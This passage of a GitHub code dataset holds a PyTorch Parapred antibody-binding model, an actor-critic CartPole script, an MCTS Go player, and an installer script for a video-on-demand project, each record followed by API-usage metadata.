"usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 42, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 44, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 46, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 47, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QVBoxLayout", "line_number": 50, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 56, "usage_type": "call"}, {"api_name": "constants.NAME", "line_number": 61, "usage_type": "argument"}, {"api_name": "constants.VERSION", "line_number": 63, "usage_type": "argument"}, {"api_name": "datetime.datetime.today", "line_number": 71, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 71, "usage_type": "name"}]}
{"seq_id": "39837266656", "text": "\"\"\"\nPyTorch implementation of original Parapred architecture.\n\"\"\"\nfrom __future__ import print_function\nfrom torch.autograd import Variable\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.nn.utils.rnn import pad_packed_sequence, pack_padded_sequence\n\nfrom constants import *\n\nclass AbSeqModel(nn.Module):\n    def __init__(self):\n        \"\"\"\n        Parapred's building blocks.\n        \"\"\"\n        super(AbSeqModel, self).__init__()\n        # kernel\n        self.conv1 = nn.Conv1d(NUM_FEATURES, NUM_FEATURES, 3, padding=1)\n        self.elu = nn.ELU()\n        self.dropout1 = nn.Dropout(0.15)\n        self.bidir_lstm = nn.LSTM(NUM_FEATURES, 256, bidirectional=True)\n        self.dropout2 = nn.Dropout(0.3)\n        self.fc = nn.Conv1d(512, 1, 1)\n\n        for m in self.modules():\n            self.weights_init(m)\n\n    def weights_init(self, m):\n        \"\"\"\n        Parameter initialisation for Parapred architecture. Xavier and orthogonal are used, depending on layer.\n        :param m:\n        :return:\n        \"\"\"\n        if isinstance(m, nn.Conv1d):\n            torch.nn.init.xavier_uniform(m.weight.data)\n            m.bias.data.fill_(0.0)\n        if isinstance(m, nn.LSTM):\n            torch.nn.init.xavier_uniform(m.weight_ih_l0)\n            torch.nn.init.orthogonal(m.weight_hh_l0)\n            for names in m._all_weights:\n                for name in filter(lambda n: \"bias\" in n, names):\n                    bias = getattr(m, name)\n                    n = bias.size(0)\n                    start, end = n // 4, n // 2\n                    bias.data[start:end].fill_(1.0)\n            m.bias_ih_l0.data.fill_(0.0)\n\n    def forward(self, input, unpacked_masks, masks, lengths):\n        \"\"\"\n        Performing forward propagation\n        :param input: antibody amino acid sequences\n        :param unpacked_masks:\n        :param masks:\n        :param lengths:\n        :return: binding probabilities for antibody amino acids.\n        \"\"\"\n        initial = input\n        x = input\n\n        x = torch.transpose(x, 1, 2)\n        x = self.conv1(x)\n        x = torch.transpose(x, 1, 2)\n\n        x = torch.mul(x, unpacked_masks)\n        x = self.elu(x)\n\n        x = x + initial\n\n        x = self.dropout1(x)\n\n        packed_input = pack_padded_sequence(x, lengths, batch_first=True)\n        output, hidden = self.bidir_lstm(packed_input)\n        x, _ = pad_packed_sequence(output, batch_first=True)\n        print(\"after lstm\", x.data, file=print_file)  # 32x32x512\n\n        x = self.dropout2(x)\n\n        x = torch.transpose(x, 1, 2)\n        x = self.fc(x)\n        x = torch.transpose(x, 1, 2)\n\n        x = torch.mul(x, masks)\n        return x\n", "repo_name": "andreeadeac22/attentive-parapred", "sub_path": "paratope/model.py", "file_name": "model.py", "file_ext": "py", "file_size_in_byte": 2664, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 13, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 13, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.ELU", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.LSTM", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Conv1d", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_uniform", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.nn.LSTM", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "name"}, {"api_name": "torch.nn.init.xavier_uniform", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.nn.init.orthogonal", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.transpose", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 64, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 66, "usage_type": "call"}, {"api_name": "torch.nn.utils.rnn.pack_padded_sequence", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn.utils.rnn.pad_packed_sequence", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 80, "usage_type": "call"}, {"api_name": "torch.transpose", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.mul", "line_number": 84, "usage_type": "call"}]}
{"seq_id": "8679526675", "text": "import gym\nimport torch as th\nimport numpy as np\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nlr = 0.001\ngamma = 0.9\nhidden = 32\nenv = gym.make('CartPole-v0')\ndevice = \"cpu\"\nenv = env.unwrapped\nn_action = env.action_space.n\nn_state = env.observation_space.shape[0]\n\n\nclass actor(nn.Module):  # policy net\n    def __init__(self):\n        super(actor, self).__init__()\n        self.fc1 = nn.Linear(n_state, hidden)\n        self.fc2 = nn.Linear(hidden, n_action)\n        self.softmax = nn.Softmax(dim=0)\n\n    def forward(self, x):\n        x = self.fc1(x)\n        x = F.relu(x)\n        x = self.fc2(x)\n        prob = self.softmax(x)\n        return prob\n\n\nclass critic(nn.Module):  # Q net\n    def __init__(self):\n        super(critic, self).__init__()\n        self.fc1 = nn.Linear(n_state, hidden)\n        self.fc2 = nn.Linear(hidden, 1)\n\n    def forward(self, x):\n        x = self.fc1(x)\n        x = F.relu(x)\n        x = self.fc2(x)\n        return x\n\n\nclass AC():\n    def __init__(self):\n        self.actor = actor().to(device)\n        self.critic = critic().to(device)\n\n        self.Aoptimizer = th.optim.Adam(self.actor.parameters(), lr=lr)\n        self.Coptimizer = th.optim.Adam(self.critic.parameters(), lr=lr)\n\n    def choose_action(self, s):\n        s = th.FloatTensor(s).to(device)\n        a_prob = self.actor(s)\n        rand = np.random.uniform()\n        accumulation = 0\n        action = 0\n        for i in range(n_action):\n            accumulation += a_prob[i]\n            if accumulation >= rand:\n                action = i\n                break\n        return action\n\n    def actor_learn(self, s, a, td_error):\n        s = th.FloatTensor(s).to(device)\n        a_prob = self.actor(s)\n        a_prob = a_prob[a]\n        loss = -(th.log(a_prob) * td_error.detach())\n\n        self.Aoptimizer.zero_grad()\n        loss.backward()\n        self.Aoptimizer.step()\n\n    def critic_learn(self, transition):  # transition=[s,[r],[a],s_,[done]]\n        s = th.FloatTensor(transition[0]).to(device)\n        r = transition[1][0]\n        s_ = th.FloatTensor(transition[3]).to(device)\n        done = transition[4][0]\n\n        v_eval = self.critic(s)\n        v_target = self.critic(s_) * gamma + r\n\n        td_error = v_eval - v_target.detach()\n        loss = td_error ** 2\n\n        self.Coptimizer.zero_grad()\n        loss.backward()\n        self.Coptimizer.step()\n        return td_error\n\n\nac = AC()\n\nfor episode in range(10000):\n    t = 0\n    s = env.reset()\n    total_reward = 0\n    while (t < 300):\n        a = ac.choose_action(s)\n        s_, r, done, _ = env.step(a)\n        total_reward += r\n        transition = [s, [r], [a], s_, [done]]\n\n        td_error = ac.critic_learn(transition)\n        ac.actor_learn(s, a, td_error)\n        if done:\n            break\n        s = s_\n    if (episode % 10 == 0):\n        print(\"Episode:\" + format(episode) + \",score:\" + format(total_reward))", "repo_name": "caimingxue/Reinforcement-Learning-Pytorch", "sub_path": "AC/ac_work.py", "file_name": "ac_work.py", "file_ext": "py", "file_size_in_byte": 2892, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "gym.make", "line_number": 10, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 17, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Softmax", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.optim.Adam", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 51, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.FloatTensor", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random.uniform", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.FloatTensor", "line_number": 67, "usage_type": "call"}, {"api_name": "torch.log", "line_number": 70, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.FloatTensor", "line_number": 79, "usage_type": "call"}]}
{"seq_id": "2057050647", "text": "from player import Player\r\nfrom game import Game, Action\r\nfrom math import sqrt\r\nimport numpy as np\r\nfrom macros import *\r\nfrom collections import defaultdict\r\nimport time\r\nimport random\r\nimport torch\r\nfrom net import Net\r\n# TODO: implement N(s, a), etc. as dictionaries to save on transpositions\r\n\r\n\r\ndef to_action(move, turn):\r\n    if move == BOARD_SIZE * BOARD_SIZE:\r\n        return Action(turn, PASS)\r\n    return Action(turn, PLAY, move // BOARD_SIZE, move % BOARD_SIZE)\r\n\r\n\r\ndef from_action(action):\r\n    if action.type == PASS:\r\n        return BOARD_SIZE * BOARD_SIZE\r\n    assert(action.type == PLAY)\r\n    return action.x * BOARD_SIZE + action.y\r\n\r\n\r\n# credit for general MCTS code goes to\r\n# https://github.com/plkmo/AlphaZero_Connect4/blob/master/src/MCTS_c4.py\r\nclass UCTNode:\r\n    def __init__(self, game, move, parent=None):\r\n        self.game = game\r\n        self.move = move\r\n        self.is_expanded = False\r\n        self.parent = parent\r\n        self.children = {}\r\n        self.child_priors = np.zeros([INPUT], dtype=np.float32)\r\n        self.child_total_value = np.zeros([INPUT], dtype=np.float32)\r\n        self.child_number_visits = np.zeros([INPUT], dtype=np.float32)\r\n        self.action_idxes = self.game.action_idxs()\r\n\r\n    @property\r\n    def number_visits(self):\r\n        return self.parent.child_number_visits[self.move]\r\n\r\n    @number_visits.setter\r\n    def number_visits(self, value):\r\n        self.parent.child_number_visits[self.move] = value\r\n\r\n    @property\r\n    def total_value(self):\r\n        return self.parent.child_total_value[self.move]\r\n\r\n    @total_value.setter\r\n    def total_value(self, value):\r\n        self.parent.child_total_value[self.move] = value\r\n\r\n    def child_Q(self):\r\n        return self.child_total_value / (1 + self.child_number_visits)\r\n\r\n    def child_U(self):\r\n        return sqrt(self.number_visits) * (abs(self.child_priors) / (1 + self.child_number_visits))\r\n\r\n    def best_child(self):\r\n        # if no legal actions, we're in a terminal state and we should return\r\n        if self.action_idxes:\r\n            bestmove = self.child_Q() + self.child_U()\r\n            bestmove = self.action_idxes[np.argmax(bestmove[self.action_idxes])]\r\n        else:\r\n            bestmove = None\r\n        return bestmove\r\n\r\n    def select_leaf(self):\r\n        current = self\r\n        while current.is_expanded:\r\n            best_move = current.best_child()\r\n            if best_move is None:\r\n                return current\r\n            current = current.maybe_add_child(best_move)\r\n        return current\r\n\r\n    def add_dirichlet_noise(self, action_idxs, child_priors):\r\n        # # TODO: understand what is going on here\r\n        valid_child_priors = child_priors[action_idxs]  # select only legal moves entries in child_priors array\r\n        valid_child_priors = 0.75 * valid_child_priors + 0.25 * np.random.dirichlet(np.zeros([len(valid_child_priors)],\r\n                                                                                             dtype=np.float32) + 192)\r\n        child_priors[action_idxs] = valid_child_priors\r\n        return child_priors\r\n\r\n    def expand(self, child_priors):\r\n        self.is_expanded = True\r\n        action_idxs = self.game.action_idxs()\r\n        c_p = child_priors\r\n        if not action_idxs:\r\n            self.is_expanded = False\r\n        self.action_idxes = action_idxs\r\n        for i in range(len(child_priors)):\r\n            if i not in action_idxs:\r\n                c_p[i] = 0.00000000\r\n        # for some reason the below line doesn't work, probably different python version\r\n        # c_p[[i for i in range(len(child_priors)) if i not in action_idxs]] = 0.000000000  # mask all illegal actions\r\n        if self.parent.parent is None:  # add dirichlet noise to child_priors in root node\r\n            c_p = self.add_dirichlet_noise(action_idxs, c_p)\r\n        self.child_priors = c_p\r\n\r\n    def maybe_add_child(self, move):\r\n        if move not in self.children:\r\n            copy_game = Game.from_other(self.game)\r\n            copy_game.move(to_action(move, copy_game.turn))\r\n            self.children[move] = UCTNode(\r\n                copy_game, move, parent=self)\r\n        return self.children[move]\r\n\r\n    def backup(self, value_estimate: float):\r\n        current = self\r\n        while current.parent is not None:\r\n            current.number_visits += 1\r\n            if current.game.turn == BLACK:  # same as current.parent.game.player = 0\r\n                current.total_value += (-1 * value_estimate)  # value estimate +1 = O wins\r\n            elif current.game.turn == WHITE:  # same as current.parent.game.player = 1\r\n                current.total_value += (1 * value_estimate)\r\n            current = current.parent\r\n\r\n\r\nclass DummyNode:\r\n    def __init__(self):\r\n        self.parent = None\r\n        self.child_total_value = defaultdict(float)\r\n        self.child_number_visits = defaultdict(float)\r\n\r\n\r\nclass MCTSPlayer(Player):\r\n    def __init__(self, board_size, color, evaluator, playouts=50):\r\n        super().__init__(board_size, color)\r\n        self.evaluator = evaluator\r\n        self.playouts = playouts\r\n\r\n    def _mcts(self, game):\r\n        root = UCTNode(game, move=None, parent=DummyNode())\r\n        for _ in range(self.playouts):\r\n            leaf = root.select_leaf()\r\n            child_priors, value_estimate = self.evaluator(leaf.game)\r\n            if leaf.game.done:\r\n                # terminal game state, no need to expand\r\n                leaf.backup(value_estimate)\r\n                continue\r\n            leaf.expand(child_priors)\r\n            leaf.backup(value_estimate)\r\n        return root\r\n\r\n    def get_move(self, game):\r\n        node = self._mcts(game)\r\n        # return most visited move\r\n        # print(node.child_number_visits)\r\n        move_idx = np.random.choice(np.flatnonzero(node.child_number_visits == node.child_number_visits.max()))\r\n        # parse move_idx into an action\r\n        return to_action(move_idx, self.color)\r\n        # if move_idx == self.board_size * self.board_size:\r\n        #     return Action(self.turn, PASS)\r\n        # return Action(self.turn, PLAY, move_idx // 9, move_idx % 9)\r\n\r\n\r\ndef simple_mcts_evaluation(game):\r\n    priors = np.full((INPUT), 1 / INPUT)\r\n    # priors = [1 / len(game.action_idxs())] * len(game.action_idxs())\r\n    if game.done:\r\n        if game.winner == BLACK:\r\n            return priors, 1\r\n        elif game.winner == WHITE:\r\n            return priors, -1\r\n        return priors, 0\r\n    return priors, game.score() / (game.board_size * game.board_size + game.komi)\r\n", "repo_name": "jchiu342/roost", "sub_path": "mcts_player.py", "file_name": "mcts_player.py", "file_ext": "py", "file_size_in_byte": 6552, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "game.Action", "line_number": 16, "usage_type": "call"}, {"api_name": "game.Action", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 37, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 38, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 61, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.random.dirichlet", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 85, "usage_type": "attribute"}, {"api_name": "game.Game.from_other", "line_number": 107, "usage_type": "call"}, {"api_name": "game.Game", "line_number": 107, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 127, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 128, "usage_type": "call"}, {"api_name": "player.Player", "line_number": 131, "usage_type": "name"}, {"api_name": "numpy.random.choice", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 154, "usage_type": "attribute"}, {"api_name": "numpy.flatnonzero", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 163, "usage_type": "call"}, {"api_name": "game.done", "line_number": 165, "usage_type": "attribute"}, {"api_name": "game.winner", "line_number": 166, "usage_type": "attribute"}, {"api_name": "game.winner", "line_number": 168, "usage_type": "attribute"}, {"api_name": "game.score", "line_number": 171, "usage_type": "call"}, {"api_name": "game.board_size", "line_number": 171, "usage_type": "attribute"}, {"api_name": "game.komi", "line_number": 171, "usage_type": "attribute"}]}
{"seq_id": "39119354077", "text": "import os, requests\r\nfrom pathlib import Path\r\n\r\n\r\nrootPath = os.getcwd()\r\nrndList = []\r\n\r\ndef Run():\r\n    command = input(\"Enter command: [-install]\")\r\n    if command == \"-install\":\r\n        Install()\r\n\r\ndef Install():\r\n    #Create the folder structure\r\n    print(\"Createing folders...\")\r\n    os.mkdir(rootPath+\"/templates\")\r\n    os.mkdir(rootPath+\"/static\")\r\n    os.mkdir(rootPath+\"/static/data\")\r\n    os.mkdir(rootPath+\"/static/images\")\r\n    os.mkdir(rootPath+\"/static/js\")\r\n    os.mkdir(rootPath+\"/static/storage\")\r\n    os.mkdir(rootPath+\"/static/styles\")\r\n    os.mkdir(rootPath+\"/static/userDatabase\")\r\n    os.mkdir(rootPath+\"/static/data/__\")\r\n    os.mkdir(rootPath+\"/static/data/__/thumbnails/\")\r\n    os.mkdir(rootPath+\"/static/data/__/thumbnails/ahahah_low/\")\r\n    os.mkdir(rootPath+\"/static/data/databases\")\r\n    os.mkdir(rootPath+\"/static/data/default\")\r\n    os.mkdir(rootPath+\"/static/data/dictionarys\")\r\n    os.mkdir(rootPath+\"/static/data/analytics\")\r\n    os.mkdir(rootPath+\"/static/images/icons\")\r\n    os.mkdir(rootPath+\"/static/storage/specials\")\r\n    os.mkdir(rootPath+\"/static/storage/specials/thumbnails\")\r\n    os.mkdir(rootPath+\"/ffmpeg\")\r\n    os.mkdir(rootPath+\"/input\")\r\n    os.mkdir(rootPath+\"/output\")\r\n    print(\"Folders created\")\r\n\r\n    #Move files to destination folder\r\n    print(\"Moving files to folders...\")\r\n    Path(rootPath+\"/_data/home.html\").rename(rootPath+\"/templates/home.html\")\r\n    Path(rootPath+\"/_data/login.html\").rename(rootPath+\"/templates/login.html\")\r\n    Path(rootPath+\"/_data/impressum.html\").rename(rootPath+\"/templates/impressum.html\")\r\n    Path(rootPath+\"/_data/videoPlayer.html\").rename(rootPath+\"/templates/videoPlayer.html\")\r\n    Path(rootPath+\"/_data/loginStyle.css\").rename(rootPath+\"/static/styles/loginStyle.css\")\r\n    Path(rootPath+\"/_data/homeStyle.css\").rename(rootPath+\"/static/styles/homeStyle.css\")\r\n    Path(rootPath+\"/_data/videoPlayerStyle.css\").rename(rootPath+\"/static/styles/videoPlayerStyle.css\")\r\n    Path(rootPath+\"/_data/Rhiledia.ttf\").rename(rootPath+\"/static/styles/Rhiledia.ttf\")\r\n    Path(rootPath+\"/_data/Ayrton Pight.ttf\").rename(rootPath+\"/static/styles/Ayrton Pight.ttf\")\r\n    Path(rootPath+\"/_data/yuruy.otf\").rename(rootPath+\"/static/styles/yuruy.oft\")\r\n    Path(rootPath+\"/_data/videoPlayer.js\").rename(rootPath+\"/static/js/videoPlayer.js\")\r\n    Path(rootPath+\"/_data/backward.svg\").rename(rootPath+\"/static/images/icons/backward.svg\")\r\n    Path(rootPath+\"/_data/expand.svg\").rename(rootPath+\"/static/images/icons/expand.svg\")\r\n    Path(rootPath+\"/_data/expandd.svg\").rename(rootPath+\"/static/images/icons/expandd.svg\")\r\n    Path(rootPath+\"/_data/forward.svg\").rename(rootPath+\"/static/images/icons/forward.svg\")\r\n    Path(rootPath+\"/_data/LeftArrow_black.png\").rename(rootPath+\"/static/images/icons/LeftArrow_black.png\")\r\n    Path(rootPath+\"/_data/pause.svg\").rename(rootPath+\"/static/images/icons/pause.svg\")\r\n    Path(rootPath+\"/_data/play.svg\").rename(rootPath+\"/static/images/icons/play.svg\")\r\n    Path(rootPath+\"/_data/reduce.svg\").rename(rootPath+\"/static/images/icons/reduce.svg\")\r\n    Path(rootPath+\"/_data/RightArrow_black.png\").rename(rootPath+\"/static/images/icons/RightArrow_black.png\")\r\n    Path(rootPath+\"/_data/silence.svg\").rename(rootPath+\"/static/images/icons/silence.svg\")\r\n    Path(rootPath+\"/_data/searchIcon.png\").rename(rootPath+\"/static/images/icons/searchIcon.png\")\r\n    Path(rootPath+\"/_data/thumbs-up_small.png\").rename(rootPath+\"/static/images/icons/thumbs-up_small.png\")\r\n    Path(rootPath+\"/_data/thumbs-down_small.png\").rename(rootPath+\"/static/images/icons/thumbs-down_small.png\")\r\n    Path(rootPath+\"/_data/thumbs-up.png\").rename(rootPath+\"/static/images/icons/thumbs-up.png\")\r\n    Path(rootPath+\"/_data/thumbs-down.png\").rename(rootPath+\"/static/images/icons/thumbs-down.png\")\r\n    Path(rootPath+\"/_data/volume.svg\").rename(rootPath+\"/static/images/icons/volume.svg\")\r\n    Path(rootPath+\"/_data/background.png\").rename(rootPath+\"/static/images/background.png\")\r\n    Path(rootPath+\"/_data/Logo_01.png\").rename(rootPath+\"/static/images/Logo_01.png\")\r\n    Path(rootPath+\"/_data/analytics.py\").rename(rootPath+\"/analytics.py\")\r\n    Path(rootPath+\"/_data/database.py\").rename(rootPath+\"/database.py\")\r\n    Path(rootPath+\"/_data/modules.py\").rename(rootPath+\"/modules.py\")\r\n    Path(rootPath+\"/_data/server.py\").rename(rootPath+\"/server.py\")\r\n    Path(rootPath+\"/_data/freeVoD.py\").rename(rootPath+\"/freeVoD.py\")\r\n    Path(rootPath+\"/_data/converter.py\").rename(rootPath+\"/converter.py\")\r\n    Path(rootPath+\"/_data/userDatabase.py\").rename(rootPath+\"/userDatabase.py\")\r\n    Path(rootPath+\"/_data/ahahah_low.mp4\").rename(rootPath+\"/static/data/__/ahahah_low.mp4\")\r\n    Path(rootPath+\"/_data/ahahah_low.png\").rename(rootPath+\"/static/data/__/thumbnails/ahahah_low/0.png\")\r\n    Path(rootPath+\"/_data/categorieDictionary\").rename(rootPath+\"/static/data/dictionarys/categorieDictionary\")\r\n    Path(rootPath+\"/_data/actorNameDictionary\").rename(rootPath+\"/static/data/dictionarys/actorNameDictionary\")\r\n    Path(rootPath+\"/_data/keyWordDictionary\").rename(rootPath+\"/static/data/dictionarys/keyWordDictionary\")\r\n    print(\"Files moved to folders\")\r\n\r\n    #Create files\r\n    print(\"creating database files...\")\r\n    file = open(rootPath+\"/static/data/analytics/analytics.db\", \"wb\")\r\n    file.close()\r\n    file = open(rootPath+\"/static/data/analytics/categorieAnalytics.db\", \"wb\")\r\n    file.close()\r\n    file = open(rootPath+\"/static/data/analytics/keyWordList.db\", \"wb\")\r\n    file.close()\r\n    file = open(rootPath+\"/static/data/analytics/actorAnalytics.db\", \"wb\")\r\n    file = open(rootPath+\"/static/data/databases/userDataBase.db\", \"wb\")\r\n    file.close()\r\n    file = open(rootPath+\"/static/data/databases/videoDatabase.db\", \"wb\")\r\n    file.close()\r\n    print(\"database files created\")\r\n\r\n    print(\"Installing requirements: Flask, cv2, fake_headers...\")\r\n    os.system('pip install -r ./_data/requirements.txt')\r\n    print(\"requirements: Flask, cv2, fake_headers installed\")\r\n    Path(rootPath+\"/_data/requirements.txt\").rename(rootPath+\"/requirements.txt\")\r\n    fileList = os.listdir(rootPath+\"/_data/\")\r\n    command = input(\"Enter download ffmpeg? \")\r\n    if command == \"yes\":\r\n        DownloadFFMPEG()\r\n    if len(fileList) < 1:\r\n        print(\"Installation complete\\n Enter python njoyporn.py to start the server\")     \r\n        \r\ndef DownloadFFMPEG():\r\n    url = \"http://www.gilltrick.com/static/Downloads/ffmpeg.exe\"\r\n    local_filename = os.getcwd()+\"/ffmpeg/ffmpeg.exe\"\r\n    with requests.get(url, stream=True) as r:\r\n        r.raise_for_status()\r\n        with open(local_filename, 'wb') as f:\r\n            for chunk in r.iter_content(chunk_size=8192): \r\n                f.write(chunk)\r\n    return local_filename\r\n\r\nif __name__ == \"__main__\":\r\n    Run()\r\n", "repo_name": "gilltrick/freeVoD", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 6772, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.getcwd", "line_number": 5, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 16, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 17, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 18, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 19, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 20, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 21, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 22, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 23, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 24, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 25, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 26, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 27, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 29, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 30, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 31, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 32, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 33, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 35, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 36, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 41, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 42, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 43, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 44, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 45, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 46, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 47, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 48, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 49, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 50, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 51, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 52, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 53, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 54, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 55, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 56, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 57, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 58, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 59, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 60, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 61, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 62, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 63, "usage_type": "call"}, 